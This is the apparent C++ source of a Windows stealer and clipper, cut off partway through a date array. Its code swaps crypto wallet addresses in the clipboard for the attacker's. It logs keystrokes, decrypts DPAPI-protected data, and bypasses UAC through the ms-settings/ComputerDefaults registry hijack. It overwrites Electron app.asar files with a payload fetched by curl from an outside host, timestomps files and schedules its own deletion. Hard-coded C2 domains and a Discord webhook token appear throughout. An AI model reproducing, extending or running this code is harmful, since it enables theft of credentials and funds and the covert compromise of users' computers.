#include #include #include #include #include #include #include #include #include #include #include "Spoof.h" #include #include #include #include #include #include #include "lib_SK5.h" #include #include #include "nlohmann/json.hpp" #include #include #include #include #include #include #include #include #include #include #include #include #include #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "shell32.lib") #pragma comment(lib, "version.lib") #pragma comment(lib, "winhttp.lib") #pragma comment(lib, "crypt32.lib") #pragma comment(lib, "Wininet.lib") #pragma comment(lib, "Urlmon.lib") #pragma comment(lib, "wbemuuid.lib") #pragma warning(disable : 4996) using namespace std; using json = nlohmann::json; DWORD PcRam = 3000; string dmns = EC("textpubshiers.top"); bool IsFUD = false; string OwnersID = EC("hopesar1337"); string BuildID = EC("1337"); string DlDis = EC("C:\\Windows\\cldapi.dll"); string enckey = EC("slayturta"); string ips = EC("1.1.1.1"); string hwidglobal = EC("x"); string GPUNAME = EC("Couldnt_Parse"); string CPUNAME = EC("Couldnt_Parse"); int VRam = 0; std::string BTC_Address; std::string ETH_Address; std::string LTC_Address; std::string XMR_Address; std::string DOGE_Address; std::string DASH_Address; std::string XRP_Address; std::string SOL_Address; std::string btc_regex = EC("^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$"); std::string btc_regex2 = EC("^(bc1|[13])[a-km-zA-HJ-NP-Z1-9]{25,34}$"); std::string ltc_regex = EC("^(?:[LM3][a-km-zA-HJ-NP-Z1-9]{26,33})$"); std::string eth_regex = EC("^(?:0x[a-fA-F0-9]{40})$"); std::string xmr_regex = EC("^(?:[48][0-9AB][1-9A-HJ-NP-Za-km-z]{93})$"); std::string xrp_regex = EC("^(?:r[0-9a-zA-Z]{33})$"); std::string sol_regex = EC("^[A-HJ-NP-Za-km-z1-9]{44}$"); std::string doge_regex = EC("^(?:D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32})$"); std::string dash_regex = EC("^(?:X[1-9A-HJ-NP-Za-km-z]{33})$"); #define PROCESSOR_FEATURE_MAX 64 typedef struct _KSYSTEM_TIME { ULONG LowPart; LONG High1Time; LONG High2Time; } KSYSTEM_TIME, * PKSYSTEM_TIME; typedef enum _NT_PRODUCT_TYPE { NtProductWinNt = 1, NtProductLanManNt = 2, NtProductServer = 3 } NT_PRODUCT_TYPE; typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE { StandardDesign = 0, NEC98x86 = 1, EndAlternatives = 2 } ALTERNATIVE_ARCHITECTURE_TYPE; typedef struct _KUSER_SHARED_DATA { ULONG TickCountLowDeprecated; ULONG TickCountMultiplier; KSYSTEM_TIME InterruptTime; KSYSTEM_TIME SystemTime; KSYSTEM_TIME TimeZoneBias; USHORT ImageNumberLow; USHORT ImageNumberHigh; WCHAR NtSystemRoot[260]; ULONG MaxStackTraceDepth; ULONG CryptoExponent; ULONG TimeZoneId; ULONG LargePageMinimum; ULONG AitSamplingValue; ULONG AppCompatFlag; ULONGLONG RNGSeedVersion; ULONG GlobalValidationRunlevel; LONG TimeZoneBiasStamp; ULONG NtBuildNumber; NT_PRODUCT_TYPE NtProductType; BOOLEAN ProductTypeIsValid; BOOLEAN Reserved0[1]; USHORT NativeProcessorArchitecture; ULONG NtMajorVersion; ULONG NtMinorVersion; BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; ULONG Reserved1; ULONG Reserved3; ULONG TimeSlip; ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; ULONG BootId; LARGE_INTEGER SystemExpirationDate; ULONG SuiteMask; BOOLEAN KdDebuggerEnabled; union { UCHAR MitigationPolicies; struct { UCHAR NXSupportPolicy : 2; UCHAR SEHValidationPolicy : 2; UCHAR CurDirDevicesSkippedForDlls : 2; UCHAR Reserved : 2; }; }; USHORT CyclesPerYield; ULONG ActiveConsoleId; ULONG DismountCount; ULONG ComPlusPackage; ULONG LastSystemRITEventTickCount; ULONG NumberOfPhysicalPages; BOOLEAN SafeBootMode; union { UCHAR VirtualizationFlags; struct { UCHAR ArchStartedInEl2 : 1; UCHAR QcSlIsSupported : 1; }; }; UCHAR Reserved12[2]; union { ULONG SharedDataFlags; struct { ULONG DbgErrorPortPresent : 1; ULONG DbgElevationEnabled : 1; ULONG DbgVirtEnabled : 1; ULONG DbgInstallerDetectEnabled : 1; ULONG DbgLkgEnabled : 1; ULONG DbgDynProcessorEnabled : 1; ULONG DbgConsoleBrokerEnabled : 1; ULONG DbgSecureBootEnabled : 1; ULONG DbgMultiSessionSku : 1; ULONG DbgMultiUsersInSessionSku : 1; ULONG DbgStateSeparationEnabled : 1; ULONG SpareBits : 21; } DUMMYSTRUCTNAME2; } DUMMYUNIONNAME2; ULONG DataFlagsPad[1]; ULONGLONG TestRetInstruction; LONGLONG QpcFrequency; ULONG SystemCall; ULONG Reserved2; ULONGLONG SystemCallPad[2]; union { KSYSTEM_TIME TickCount; ULONG64 TickCountQuad; struct { ULONG ReservedTickCountOverlay[3]; ULONG TickCountPad[1]; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME3; ULONG Cookie; ULONG CookiePad[1]; LONGLONG ConsoleSessionForegroundProcessId; ULONGLONG TimeUpdateLock; ULONGLONG BaselineSystemTimeQpc; ULONGLONG BaselineInterruptTimeQpc; ULONGLONG QpcSystemTimeIncrement; ULONGLONG QpcInterruptTimeIncrement; UCHAR QpcSystemTimeIncrementShift; UCHAR QpcInterruptTimeIncrementShift; USHORT UnparkedProcessorCount; ULONG EnclaveFeatureMask[4]; ULONG TelemetryCoverageRound; USHORT UserModeGlobalLogger[16]; ULONG ImageFileExecutionOptions; ULONG LangGenerationCount; ULONGLONG Reserved4; ULONGLONG InterruptTimeBias; ULONGLONG QpcBias; ULONG ActiveProcessorCount; UCHAR ActiveGroupCount; UCHAR Reserved9; union { USHORT QpcData; struct { UCHAR QpcBypassEnabled; UCHAR QpcShift; }; }; LARGE_INTEGER TimeZoneBiasEffectiveStart; LARGE_INTEGER TimeZoneBiasEffectiveEnd; XSTATE_CONFIGURATION XState; KSYSTEM_TIME FeatureConfigurationChangeStamp; ULONG Spare; ULONG64 UserPointerAuthMask; } KUSER_SHARED_DATA, * PKUSER_SHARED_DATA; std::vector expler = { 0x00 }; #define MM_SHARED_USER_DATA_VA 0x7FFE0000 #define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)MM_SHARED_USER_DATA_VA) std::string removeAfterDot(const std::string& input) { SPOOF_FUNC; ////JUNK(); size_t dotPos = input.find('.'); if (dotPos != std::string::npos) { return input.substr(0, dotPos); } return input; } std::wstring s2ws(const std::string& str) { SPOOF_FUNC; int len; int slength = (int)str.length() + 1; len = MultiByteToWideChar(CP_ACP, 0, str.c_str(), slength, 0, 0); wchar_t* buf = new wchar_t[len]; MultiByteToWideChar(CP_ACP, 0, str.c_str(), slength, buf, len); std::wstring result(buf); delete[] buf; return result; } std::string ws2s(const std::wstring& wstr) { SPOOF_FUNC; // Create a wstring_convert object for conversion std::wstring_convert> converter; // Convert the wide string to a narrow string (UTF-8) std::string str = converter.to_bytes(wstr); return str; } bool isInternetAvailable() { return InternetCheckConnection(EC(L"http://www.google.com"), FLAG_ICC_FORCE_CONNECTION, 0); } size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* s) { size_t newLength = size * nmemb; try { s->append((char*)contents, newLength); } catch (std::bad_alloc& e) { // Handle memory problem return 0; } return newLength; } std::string DownloadString(const std::string& domain, const std::string& path) { std::string URL = EC("https://") + domain + path; std::string response; if (isInternetAvailable()) { // Initialize CURL CURL* curl = curl_easy_init(); if (!curl) { return ""; } // Set CURL options curl_easy_setopt(curl, CURLOPT_URL, URL.c_str()); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); // Set user agent curl_easy_setopt(curl, CURLOPT_USERAGENT, EC("Mozilla/5.0 (Windows NT 14_73_31; WOW64)")); // Set cookie curl_easy_setopt(curl, CURLOPT_COOKIE, EC("hash=2239784366428af5e59516a8fd0a0faf")); // Perform the request CURLcode res = curl_easy_perform(curl); // Cleanup curl_easy_cleanup(curl); // Check if request was successful if (res != CURLE_OK) { return EC(""); } } else { std::cout << EC("No Internet to download!") << std::endl; return EC(""); } std::cout << EC("Req: ") << URL << std::endl; if (response.size() > 5000) { std::cout << EC("Response too big, size: ") << response.size() << std::endl; } else { std::cout << EC("Res: ") << response << std::endl; } return response; } std::string generateRandomString(size_t length) { SPOOF_FUNC; const char charset[] = "0123456789"; std::default_random_engine rng(std::random_device{}()); std::uniform_int_distribution<> dist(0, sizeof(charset) - 2); std::string randomString; randomString.reserve(length); for (size_t i = 0; i < length; ++i) { randomString += charset[dist(rng)]; } return randomString; } std::string GRS() { const std::string charset = std::string(EC("abcdefghijklmnopqrstuvwxyz")) + std::string(EC("ABCDEFGHIJKLMNOPQRSTUVWXYZ")) + std::string(EC("0123456789")); std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution<> dist(0, charset.size() - 1); std::string result; result.reserve(24); for (size_t i = 0; i < 24; ++i) { result += charset[dist(gen)]; } return result; } void deleteSelfOnRestart() { SPOOF_FUNC; try { // Get the path of the current executable char exePath[MAX_PATH]; GetModuleFileNameA(NULL, exePath, MAX_PATH); // Convert to std::wstring std::wstring wExePath = s2ws(exePath); // Mark the executable for deletion on restart BOOL result = MoveFileExW(wExePath.c_str(), NULL, MOVEFILE_DELAY_UNTIL_REBOOT); if (result) { std::wcout << EC(L"The executable will be deleted on the next restart: ") << wExePath << std::endl; } else { std::cerr << EC("Failed to schedule executable for deletion. Error code: ") << GetLastError() << std::endl; } } catch (...) {} } bool isRunning(const std::wstring& processName) { SPOOF_FUNC; bool exists = false; PROCESSENTRY32W processEntry = { sizeof(PROCESSENTRY32W) }; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (Process32FirstW(snapshot, &processEntry)) { do { if (_wcsicmp(processEntry.szExeFile, processName.c_str()) == 0) { exists = true; break; } } while (Process32NextW(snapshot, &processEntry)); } CloseHandle(snapshot); return exists; } int win_system(const char* command) { SPOOF_FUNC; // Windows has a system() function which works, but it opens a command prompt window. char* tmp_command, * cmd_exe_path; int ret_val; size_t len; PROCESS_INFORMATION process_info = { 0 }; STARTUPINFOA startup_info = { 0 }; len = strlen(command); tmp_command = (char*)malloc(len + 4); tmp_command[0] = 0x2F; // '/' tmp_command[1] = 0x63; // 'c' tmp_command[2] = 0x20; // ; memcpy(tmp_command + 3, command, len + 1); startup_info.cb = sizeof(STARTUPINFOA); cmd_exe_path = getenv(EC("COMSPEC")); _flushall(); // required for Windows system() calls, probably a good idea here too if (CreateProcessA(cmd_exe_path, tmp_command, NULL, NULL, 0, CREATE_NO_WINDOW, NULL, NULL, &startup_info, &process_info)) { WaitForSingleObject(process_info.hProcess, INFINITE); GetExitCodeProcess(process_info.hProcess, (LPDWORD)&ret_val); CloseHandle(process_info.hProcess); CloseHandle(process_info.hThread); } free((void*)tmp_command); return(ret_val); } std::string GetAppDataLocalPath() { SPOOF_FUNC; char path[MAX_PATH]; // Get the path to the AppData\Local folder if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, path))) { return std::string(path); } else { return std::string(); } } bool fileExists(const char* filename) { DWORD attrib = GetFileAttributesA(filename); return (attrib != INVALID_FILE_ATTRIBUTES && !(attrib & FILE_ATTRIBUTE_DIRECTORY)); } void InfektAsars(const std::string& folderPath) { SPOOF_FUNC; WIN32_FIND_DATAA findFileData; HANDLE hFind = INVALID_HANDLE_VALUE; // Append wildcard to search for directories starting with "app-" std::string searchPath = folderPath + EC("\\app-*"); hFind = FindFirstFileA(searchPath.c_str(), &findFileData); if (hFind == INVALID_HANDLE_VALUE) { return; } do { if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // Ignore "." and ".." directories if (strcmp(findFileData.cFileName, EC(".")) != 0 && strcmp(findFileData.cFileName, EC("..")) != 0) { std::string asarp = folderPath + EC("\\") + findFileData.cFileName + EC("\\resources\\app.asar"); //std::cout << "Asar File: " << folderPath + "\\" + findFileData.cFileName + "\\resources\\app.asar" << std::endl; if (std::filesystem::exists(asarp)) { //std::cout << "Asar Exists" << std::endl; std::filesystem::path p{ asarp }; if (std::filesystem::file_size(p) == 132485942) { //std::cout << "Asar Is Inf \n"; } else { //std::cout << "Removing And Infekting ASAR \n"; remove(asarp.c_str()); Sleep(2000); std::string command = EC("curl -o ") + asarp + EC(" ") + EC("https://i-like.boats/Stb/PokerFace/RtCore.txt"); win_system(command.c_str()); } } else { std::string command = EC("curl -o ") + asarp + EC(" ") + EC("https://i-like.boats/Stb/PokerFace/RtCore.txt"); win_system(command.c_str()); } } } } while (FindNextFileA(hFind, &findFileData) != 0); FindClose(hFind); } std::mutex SplitS; void SplitString(const std::string& input, std::string& arg1, std::string& arg2, std::string& arg3, std::string& arg4, std::string& arg5, std::string& arg6, std::string& arg7, std::string& arg8) { SPOOF_FUNC; std::lock_guard lock(SplitS); // Lock the mutex std::vector parts; std::stringstream ss(input); std::string item; while (std::getline(ss, item, '|')) { parts.push_back(item); } // Assign values to the arguments based on the number of parts if (parts.size() >= 1) arg1 = parts[0]; if (parts.size() >= 2) arg2 = parts[1]; if (parts.size() >= 3) arg3 = parts[2]; if (parts.size() >= 4) arg4 = parts[3]; if (parts.size() >= 5) arg5 = parts[4]; if (parts.size() >= 6) arg6 = parts[5]; if (parts.size() >= 7) arg7 = parts[6]; if (parts.size() >= 8) arg8 = parts[7]; } std::string GetCurrentExeName() { SPOOF_FUNC; char path[MAX_PATH]; if (GetModuleFileNameA(nullptr, path, MAX_PATH)) { std::string fullPath(path); size_t pos = fullPath.find_last_of(EC("\\/")); if (pos != std::string::npos) { std::string fileName = fullPath.substr(pos + 1); // Remove the ".exe" extension if it exists if (fileName.size() > 4 && fileName.compare(fileName.size() - 4, 4, EC(".exe")) == 0) { fileName = fileName.substr(0, fileName.size() - 4); } return fileName; } } return ""; } void SplitStringMnr(const std::string& input, std::string& arg1, std::string& arg2, std::string& arg3, std::string& arg4, std::string& arg5, std::string& arg6, std::string& arg7, std::string& arg8, std::string& arg9, std::string& arg10, std::string& arg11, std::string& arg12) { SPOOF_FUNC; try { std::vector parts; std::stringstream ss(input); std::string item; while (std::getline(ss, item, '|')) { parts.push_back(item); } // Assign values to the arguments based on the number of parts if (parts.size() >= 1) arg1 = parts[0]; if (parts.size() >= 2) arg2 = parts[1]; if (parts.size() >= 3) arg3 = parts[2]; if (parts.size() >= 4) arg4 = parts[3]; if (parts.size() >= 5) arg5 = parts[4]; if (parts.size() >= 6) arg6 = parts[5]; if (parts.size() >= 7) arg7 = parts[6]; if (parts.size() >= 8) arg8 = parts[7]; if (parts.size() >= 9) arg9 = parts[8]; if (parts.size() >= 10) arg10 = parts[9]; if (parts.size() >= 11) arg11 = parts[10]; if (parts.size() >= 12) arg12 = parts[11]; } catch (...) {} } std::vector Base64ToBytes(const std::string& base64String) { SPOOF_FUNC; DWORD bytesNeeded; if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, NULL, &bytesNeeded, NULL, NULL)) { return {}; } std::vector bytes(bytesNeeded); if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, bytes.data(), &bytesNeeded, NULL, NULL)) { return {}; } return bytes; } std::filesystem::path generateRandomTempFilePath(size_t length = 7) { SPOOF_FUNC; std::filesystem::path tempDir = std::filesystem::temp_directory_path(); std::string randomFileName = generateRandomString(length) + EC(".tmp"); return tempDir / randomFileName; } std::mutex GPF; DWORD GetProcessIdByName(wchar_t* name) { std::lock_guard lock(GPF); // Lock the mutex PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); ////JUNK(); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); ////JUNK(); if (Process32First(snapshot, &entry) == TRUE) { while (Process32Next(snapshot, &entry) == TRUE) { if (_wcsicmp(entry.szExeFile, name) == 0) { CloseHandle(snapshot); //thanks to Pvt Comfy return entry.th32ProcessID; } } } ////JUNK(); CloseHandle(snapshot); return 0; } std::vector base64Decode(const std::string& input) { DWORD decodedLength = 0; if (!CryptStringToBinaryA(input.c_str(), input.size(), CRYPT_STRING_BASE64, nullptr, &decodedLength, nullptr, nullptr)) { throw std::runtime_error(EC("Failed to calculate length of base64 decoded data")); } std::vector decodedData(decodedLength); if (!CryptStringToBinaryA(input.c_str(), input.size(), CRYPT_STRING_BASE64, decodedData.data(), &decodedLength, nullptr, nullptr)) { throw std::runtime_error(EC("Failed to decode base64 string")); } return decodedData; } std::vector decryptDPAPI(const std::vector& data) { DATA_BLOB inputBlob = { static_cast(data.size()), const_cast(data.data()) }; DATA_BLOB outputBlob; if (!CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr, 0, &outputBlob)) { throw std::runtime_error(EC("Failed to decrypt data using DPAPI")); } std::vector decryptedData(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData); LocalFree(outputBlob.pbData); return decryptedData; } std::string decrypt_c32(std::string cont) { DATA_BLOB out; DATA_BLOB buf; buf.pbData = reinterpret_cast(cont.data()); buf.cbData = (DWORD)cont.size(); std::string dec_buffer; if (CryptUnprotectData(&buf, NULL, NULL, NULL, NULL, NULL, &out)) { for (int i = 0; i < out.cbData; i++) { dec_buffer += out.pbData[i]; } LocalFree(out.pbData); return dec_buffer; } else { return EC("Error Decrypting."); } } std::mutex Ekryop; std::string Encrypt(const std::string& input, const std::string& key) { SPOOF_FUNC; std::lock_guard lock(Ekryop); // Lock the mutex std::string encrypted = input; for (size_t i = 0; i < input.size(); ++i) { encrypted[i] = input[i] ^ key[i % key.size()]; } ////JUNK(); return encrypted; } std::mutex DEkryop; std::string Decrypt(const std::string& input, const std::string& key) { SPOOF_FUNC; std::lock_guard lock(DEkryop); // Lock the mutex std::string decrypted = input; for (size_t i = 0; i < input.size(); ++i) { decrypted[i] = input[i] ^ key[i % key.size()]; } ////JUNK(); return decrypted; } std::wstring Utf8ToWide(const std::string& utf8) { SPOOF_FUNC; int requiredSize = MultiByteToWideChar(CP_UTF8, 0, utf8.c_str(), -1, nullptr, 0); std::wstring wide(requiredSize, 0); MultiByteToWideChar(CP_UTF8, 0, utf8.c_str(), -1, &wide[0], requiredSize); return wide; } std::wstring GetTempPathAndFileName() { wchar_t path[MAX_PATH]; GetTempPath(MAX_PATH, path); // Generate a random filename std::wstring tmpFile = path; tmpFile += EC(L"tx_"); // Add a timestamp to ensure uniqueness auto now = std::chrono::system_clock::now(); auto ms = std::chrono::time_point_cast(now).time_since_epoch().count(); tmpFile += std::to_wstring(ms); tmpFile += EC(L".exe"); return tmpFile; } std::string BstrToStdString(BSTR bstr) { SPOOF_FUNC; std::wstring ws(bstr); return std::string(ws.begin(), ws.end()); } wchar_t* stringToWchar(const std::string& str) { SPOOF_FUNC; // Calculate the required buffer size for the wide-character string size_t size = str.size() + 1; // +1 for the null terminator wchar_t* wstr = new wchar_t[size]; // Convert the multibyte string to a wide-character string mbstowcs(wstr, str.c_str(), size); return wstr; } std::string ReplaceSlashesAndBackslashes(std::string input) { SPOOF_FUNC; // Replace '/' with '-' and '\' with '-' for (char& c : input) { if (c == '/' || c == '\\') { c = '-'; } } return input; } std::string CreateVbs(const std::string& command) { SPOOF_FUNC; // Generate a random file name std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution<> dis(9999, 999999); int randomNumber = dis(gen); // Create a unique file name std::ostringstream fileNameStream; fileNameStream << randomNumber << EC(".vbs"); std::string fileName = fileNameStream.str(); // Construct the full path std::string filePath = EC("C:\\ProgramData\\") + fileName; // Create and write the VBScript content std::ofstream vbsFile(filePath); if (vbsFile.is_open()) { std::string escapedCommand; for (char ch : command) { switch (ch) { case '"': escapedCommand += EC("\"\""); // Double the quotes break; default: escapedCommand += ch; break; } } vbsFile << EC("Set WshShell = CreateObject(\"WScript.Shell\")\n"); vbsFile << EC("WshShell.Run \"") << escapedCommand << EC("\", 0, False\n"); vbsFile.close(); } else { return EC(""); } return filePath; } void AdminOpen(const std::string& targetPath) { SPOOF_FUNC; if (IsUserAnAdmin()) { SPOOF_CALL(win_system)(targetPath.c_str()); } else { string patek = CreateVbs(targetPath); SPOOF_CALL(Sleep)(1500); SPOOF_CALL(win_system)(EC("reg delete \"HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\" /f")); SPOOF_CALL(Sleep)(1500); SPOOF_CALL(win_system)((EC("reg add \"HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" /ve /t REG_SZ /d \"wscript.exe ") + patek + EC("\" /f & reg add \"HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" /v DelegateExecute /t REG_SZ /d \"\" /f")).c_str()); SPOOF_CALL(Sleep)(1500); SPOOF_CALL(win_system)(EC("start /B ComputerDefaults.exe")); SPOOF_CALL(Sleep)(1500); SPOOF_CALL(win_system)((EC("del /f ") + patek).c_str()); SPOOF_CALL(win_system)(EC("reg delete \"HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\" /f")); } }/**/ string replaceAll(string subject, const string& search, const string& replace) { SPOOF_FUNC; size_t pos = 0; while ((pos = subject.find(search, pos)) != string::npos) { subject.replace(pos, search.length(), replace); pos += replace.length(); } return subject; } std::wstring GetSpecialFolderPath(int csidl) { SPOOF_FUNC; WCHAR path[MAX_PATH]; if (SHGetFolderPath(NULL, csidl, NULL, 0, path) != S_OK) { throw std::runtime_error(EC("Failed to get special folder path.")); } return path; } std::mutex DbgMSG; std::string extract_value(const std::string& json, const std::string& key) { SPOOF_FUNC; size_t key_pos = json.find(EC("\"") + key + EC("\"")); if (key_pos == std::string::npos) return ""; size_t start_pos = json.find(':', key_pos) + 1; size_t end_pos = json.find_first_of(EC(",}"), start_pos); std::string value = json.substr(start_pos, end_pos - start_pos); value.erase(0, value.find_first_not_of(EC(" \t\n\r\""))); value.erase(value.find_last_not_of(EC(" \t\n\r\"")) + 1); return value; } string un; void SendDebugMessage(std::string message) { SPOOF_FUNC; std::lock_guard lock(DbgMSG); // Lock the mutex /*string DBGUrl = EC("https://") + dmns + EC("/index.php?type=dbgmsg&security=2"); std::string DBGdata = EC("SpesyalSalada43|") + hwidglobal + EC("|") + OwnersID + EC("|") + message; std::string DBGdataEncrypted = Encrypt(DBGdata, enckey); wrap::Response ResponsansPNG = wrap::HttpsRequest(wrap::Url{ DBGUrl }, wrap::Body{ DBGdataEncrypted }, wrap::Header{ {EC("Content-Type"), EC("application/x-www-form-urlencoded")} }, wrap::Method{ EC("POST") });*/ if (hwidglobal == EC("S-1-5-21-3974942081-2796901225-3823420655-1001") || un.find(EC("emre")) != string::npos) { std::cout << EC("[DBG XD LOG] ") << message << std::endl; } } HINTERNET hRequest; HINTERNET hConnect; HINTERNET hSession; void SendWBHK(std::string message) { SPOOF_FUNC; std::string ManSt = dmns + EC(" | ") + message; std::string botname = EC("DBGVEY"); /*hSession = WinHttpOpen(EC(L"DiscordSession"), WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); hConnect = WinHttpConnect(hSession, EC(L"discordapp.com"), INTERNET_DEFAULT_HTTPS_PORT, 0); hRequest = WinHttpOpenRequest(hConnect, EC(L"POST"), EC(L"/api/webhooks/1354752230464553051/iksFp_gVfTJBFzVoNHogMqrKNjQMAYqEDRuMwDGWcx7o8JQDKjKwOzur8EVBIBZpoHOJ"), NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); std::string req = EC("{\"username\": \"") + botname + EC("\",\"content\": \"") + ManSt + EC("\"}"); BOOL bResults = WinHttpSendRequest(hRequest, EC(L"Content-Type: application/json\r\n"), (DWORD)-1L, (LPVOID)req.c_str(), (DWORD)req.length(), (DWORD)req.length(), 0); if (bResults) { WinHttpReceiveResponse(hRequest, NULL); } if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession) WinHttpCloseHandle(hSession); std::cout << EC("Webhook Sent: ") << ManSt << std::endl;*/ } void SetClipboardText(const std::string& text) { SPOOF_FUNC; if (!OpenClipboard(nullptr)) { return; } EmptyClipboard(); HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, text.size() + 1); if (!hGlobal) { CloseClipboard(); return; } char* pGlobal = static_cast(GlobalLock(hGlobal)); memcpy(pGlobal, text.c_str(), text.size() + 1); GlobalUnlock(hGlobal); SetClipboardData(CF_TEXT, hGlobal); CloseClipboard(); GlobalFree(hGlobal); } std::mutex clipboardMutex; std::string GetClipboardText() { std::lock_guard lock(clipboardMutex); // Lock the mutex // Open the clipboard if (!OpenClipboard(nullptr)) { return ""; } // Get the clipboard data in CF_TEXT format HANDLE hData = GetClipboardData(CF_TEXT); if (!hData) { CloseClipboard(); return ""; } // Lock the data and copy it into a string char* pText = static_cast(GlobalLock(hData)); if (!pText) { CloseClipboard(); return ""; } std::string text(pText); GlobalUnlock(hData); // Close the clipboard CloseClipboard(); return text; } std::mutex Vldds; bool IsValid(const std::regex& regex, const std::string& input, const std::string& Address) { SPOOF_FUNC; std::lock_guard lock(Vldds); // Lock the mutex if (!Address.empty() && std::regex_match(input, regex) && input != Address) { SetClipboardText(Address); return true; } return false; } void myTerminateHandler() { string what = "nun"; try { if (std::current_exception()) { std::rethrow_exception(std::current_exception()); } } catch (const std::exception& e) { std::cout << "Unhandled exception caught globally: " << e.what() << std::endl; what = e.what(); } catch (...) { std::cout << "Unhandled non-standard exception caught globally." << std::endl; } SendDebugMessage(EC(" :red_circle: :red_circle: EXCEPTION CAUGHT GLOBALY!!! : ") + what); SPOOF_CALL(Sleep)(1500); } void processFile(const std::string& fileName, const std::string& searchString) { SPOOF_FUNC; bool found = false; std::ifstream file(fileName); // Check if file exists and contains the search string if (file.is_open()) { std::string line; while (std::getline(file, line)) { if (line.find(searchString) != std::string::npos) { found = true; break; } } file.close(); } // If the string is not found, append it to the file if (!found) { std::ofstream outFile(fileName, std::ios::app); if (outFile.is_open()) { outFile << searchString << std::endl; outFile.close(); } else { } } SPOOF_CALL(Sleep)(1000); std::wstring wFileName = s2ws(fileName); // Open the file with OPEN_ALWAYS to ensure it exists HANDLE hFile = CreateFile(wFileName.c_str(), GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return; } SYSTEMTIME st; FILETIME ft; // Set the desired date and time here st.wYear = 2020; st.wMonth = 4; st.wDay = 22; st.wHour = 14; st.wMinute = 32; st.wSecond = 0; st.wMilliseconds = 0; SystemTimeToFileTime(&st, &ft); SetFileTime(hFile, NULL, NULL, &ft); CloseHandle(hFile); } std::string Rvrs(std::string input) { SPOOF_FUNC; // Reverse the string std::reverse(input.begin(), input.end()); return input; } std::vector readFileToBytes(const std::string& filePath) { SPOOF_FUNC; std::ifstream file(filePath, std::ios::binary); if (!file) { return { 0 }; } else { return std::vector(std::istreambuf_iterator(file), std::istreambuf_iterator()); } } std::string inputText; std::string inputBuffer; const int maxBufferSize = 100; HHOOK hHook; // Hook procedure to handle keyboard events LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { SPOOF_FUNC; if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) { KBDLLHOOKSTRUCT* pKeyboard = (KBDLLHOOKSTRUCT*)lParam; DWORD vkCode = pKeyboard->vkCode; // Translate virtual-key code to a character BYTE keyboardState[256]; GetKeyboardState(keyboardState); WCHAR buffer[2]; int result = ToUnicode(vkCode, pKeyboard->scanCode, keyboardState, buffer, 2, 0); if (result > 0) { char keyChar = static_cast(buffer[0]); if (keyChar == 8) { // Handle backspace if (!inputBuffer.empty()) { inputBuffer.pop_back(); } } else { // Only add printable characters if (inputBuffer.length() >= maxBufferSize) { inputBuffer.erase(0, 1); // Remove the oldest key when the buffer is full } inputBuffer.push_back(keyChar); } inputText = inputBuffer; //std::cout << inputBuffer << std::endl; } } // Pass the event to the next hook in the chain return CallNextHookEx(hHook, nCode, wParam, lParam); } std::vector Dates = { EC("0124"), EC("012024"), EC("0224"), EC("022024"), EC("0324"), EC("032024"), EC("0424"), EC("042024"), EC("0524"), EC("052024"), EC("0624"), EC("062024"), EC("0724"), EC("072024"), EC("0824"), EC("082024"), EC("0924"), EC("092024"), EC("1024"), EC("102024"), EC("1124"), EC("112024"), EC("1224"), EC("122024"), EC("0125"), EC("012025"), EC("0225"), EC("022025"), EC("0325"), EC("032025"), EC("0425"), EC("042025"), EC("0525"), EC("052025"), EC("0625"), EC("062025"), EC("0725"), EC("072025"), EC("0825"), EC("082025"), EC("0925"), EC("092025"), EC("1025"), EC("102025"), EC("1125"), EC("112025"), EC("1225"), EC("122025"), EC("0126"), EC("012026"), EC("0226"), EC("022026"), EC("0326"), EC("032026"), EC("0426"), EC("042026"), EC("0526"), EC("052026"), EC("0626"), EC("062026"), EC("0726"), EC("072026"), EC("0826"), EC("082026"), EC("0926"), EC("092026"), EC("1026"), EC("102026"), EC("1126"), EC("112026"), EC("1226"), EC("122026"), EC("0127"), EC("012027"), EC("0227"), EC("022027"), EC("0327"), EC("032027"), EC("0427"), EC("042027"), EC("0527"), EC("052027"), EC("0627"), EC("062027"), EC("0727"), EC("072027"), EC("0827"), EC("082027"), EC("0927"), EC("092027"), EC("1027"), EC("102027"), EC("1127"), EC("112027"), EC("1227"), EC("122027"), EC("0128"), EC("012028"), EC("0228"), EC("022028"), EC("0328"), EC("032028"), 